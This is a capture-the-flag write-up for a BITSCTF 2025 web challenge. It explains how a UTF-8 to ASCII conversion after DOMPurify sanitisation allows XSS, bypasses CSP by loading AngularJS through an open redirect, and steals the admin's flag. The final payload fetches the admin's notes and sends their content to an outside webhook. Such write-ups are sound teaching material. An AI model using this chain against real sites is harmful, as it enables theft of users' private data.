- Published on
BITSCTF 2025 - WEB: Get into my cute small planner
- Authors
- Name
- rvr
Introduction

We are given a simple note-taking app that allows users to create notes and report them to the admin.

Along with the application link, we also receive its full source code, where we can see a file named bot.ts
. It's easy to deduce that the goal of this challenge is to find an XSS vulnerability and deliver payload to the admin to steal the flag stored in their notes.
export const bot = async (id: string) => {
try {
const url = `${APP_URL}/note/${id}`;
const browser = await puppeteer.launch({
headless: true,
args: ["--no-sandbox", "--disable-dev-shm-usage"],
executablePath: "/usr/bin/google-chrome",
});
const page = await browser.newPage();
await page.goto(`${APP_URL}?token=${ADMIN_TOKEN}`, { timeout: 5000 });
await page.type("textarea", FLAG);
await page.click("button");
await sleep(1000);
await page.goto(url, { timeout: 5000 });
await sleep(5000);
await page.close();
await browser.close();
console.log(`Done: ${url}`);
} catch (e) {
console.error(e);
}
};
Step 1: Code analysis
The first thing that stands out when analyzing the code is the CSP policy
:
const nonce = crypto.randomBytes(16).toString("hex");
res.setHeader(
"Content-Security-Policy",
`script-src 'self' 'nonce-${nonce}' 'unsafe-eval' https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.min.js; base-uri 'none'; object-src 'none';`
);
So even if we find an XSS vulnerability, bypassing the CSP
will still be necessary.
The app also defines an endpoint responsible for redirecting users to a given URL:
app.get("/redirect", (req, res) => {
const url = req.query.url;
if (!url) {
res.send(`
<html>
<head>
<meta http-equiv="refresh" content="3;url=https://google.com/" />
</head>
<body>
<h1>Not found</h1>
<h1>Redirecting in 3 seconds...</h1>
</body>
</html>`);
}
res.redirect(301, url as string);
});
We can also notice that each new note is sanitized using DOMPurify
and stored in base64
.
import DOMPurify from "isomorphic-dompurify";
//...snip...
const clean = DOMPurify.sanitize(content, {
ADD_ATTR: ["data-*"],
});
const b64 = Buffer.from(clean).toString("base64");
notes.push({ id: randomUUID(), userId, content: b64 });
res.redirect("/");
The app uses DOMPurify
from the isomorphic-dompurify package, which is only a wrapper around the original DOMPurify
. As we can read on the project's website:
The library makes it possible to seamlessly use DOMPurify on server and client in the same way.
This makes it unlikely that we will find a bypass (or a 0-day 😉) in this library.
One thing that caught my attention right away was an additional option passed to DOMPurify
: ADD_ATTR: ["data-*"]
. This looks more like a hint from the author rather than a functional addition - data-
attributes are automatically on the allow list in DOMPurify
, unless explicitly disabled.
When a note is displayed on the page, the reverse process takes place, i.e. conversion from base64
to ASCII
:
const content = Buffer.from(note.content, "base64").toString("ascii");
res.render("note", { note: { ...note, content } });
Step 2: Finding a vuln
This is easy to overlook, but the code above contains the actual vulnerability!
ASCII
characters are 1
byte in size, while utf-8 characters can be between 1
and 4
bytes. Due to the conversion from utf-8
to ascii
, a unicode overflow
occurs. Multibyte characters, such as ᢾ
, can be converted into ASCII
characters that we can use in our payload, such as <
. Since this conversion happens after DOMPurify
sanitization, DOMPurify
treats these characters as harmless utf-8
symbols rather than as part of a malicious payload.
The following script allowed me to find the necessary characters that (after conversion) produce <
and ">
:
for (let i = 0; i < 0xffff; i++) {
let char = String.fromCharCode(i);
let ascii = Buffer.from(char, "utf-8").toString("ascii");
if (ascii.includes('<') || ascii.includes('">')) {
console.log(`Found: U+${i.toString(16).toUpperCase()} -> ${ascii}`);
}
}
I chose these two characters: ᢾ
, Ꮌ
:
$ node -e 'console.log(Buffer.from("ᢾ").toString("ascii"))'
a">
$ node -e 'console.log(Buffer.from("Ꮌ").toString("ascii"))'
a\x0E<
Next, we can use the data-
attribute, as it is one of the few attributes that DOMPurify
allows in the final HTML output. This attribute is completely safe and does not lead to XSS execution, if not for the mentioned conversion to ASCII
. I thought that using it would make it easier to bypass the built-in DOMPurify
filters. Besides that, I had in mind the potential hint from the author (mentioned previously). This also explains why I used the character Ꮌ
(which becomes ">
after conversion to ASCII), as the "
can close html attributes.
Note: the payload can actually be simplified and does not require the data- attribute at all. However, my initial solution included it, so I am describing it here.
This way, we have a payload that would execute alert()
if it weren’t for... the previously mentioned strict CSP
policy.
<div data-a="ᢾ Ꮌimg src=1 onerror='alert(1)'>Ꮌ/div>"></div>

Step 3: Bypassing CSP
Let's check the CSP Evaluator to see if there are any obvious bypasses:

Unfortunately, there are none.
However, an obvious clue is the allowance of the Cloudflare CDN
and the jQuery
library. The code does not use any jQuery
functions, but for some reason, it is explicitly allowed. It turns out that by exploiting the redirect feature, we can force the application to load any JavaScript
script from Cloudflare's CDN
. A common technique in such scenarios is to use angular.js
.
According to information from this page, we can use a payload like this:
<script src="https://cdnjs.cloudflare.com/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
A payload that executes alert(1)
, combined with the one from step 2, might look like this:
<div
data-a="ᢾ Ꮌscript src='/redirect?url=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js'>//Ꮌ/script>Ꮌdiv ng-app ng-csp>{{$eval.constructor('alert(1)')()}}//Ꮌ/div>"
></div>
Step 4: Extracting the Flag
The flag is stored in the admin's notes and is added shortly before the admin visits our XSS-infected page. We need to exfiltrate the contents of the main page, find the link to the note containing the flag, and then navigate to that link to extract it.
First, let's fetch the page content and locate the note link. We can do this using the following code:
fetch(`http://localhost:3000/`)
.then((a) => a.text())
.then((a) => new DOMParser().parseFromString(a, `text/html`))
.then((a) => a.querySelector(`a`).href);
Next, we can use the code below to visit the note, extract the flag's contents and send it to ourselves:
fetch(NOTE_LINK)
.then((a) => a.text())
.then((a) => new DOMParser().parseFromString(a, `text/html`))
.then((a) => {
const l = a.querySelector(`#noteContent`).textContent;
fetch(`//WEBHOOK.URL?a=${l}`);
});
By putting everything together, we get a payload like this:
<div data-a="ᢾ Ꮌscript src='/redirect?url=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js'>//Ꮌ/script>Ꮌdiv ng-app ng-csp>{{$eval.constructor('fetch(`http://localhost:3000/`).then(a => a.text()).then(a => new DOMParser().parseFromString(a, `text/html`)).then(a => { const l = a.querySelector(`a`).href;fetch(l).then(a => a.text()).then(a => new DOMParser().parseFromString(a, `text/html`)).then(a => { const l = a.querySelector(`#noteContent`).textContent;fetch(`//WEBHOOK.URL?a=${l}`)})})')()}}//Ꮌ/div>">
Finally we successfully retrieve the flag:

Flag:
BITSCTF{b357f17_4c75_m0r3_l1k3_w0r57_f17_4nd_h3lp5_u5_1n_5734l1n6_G7hhDHIs67}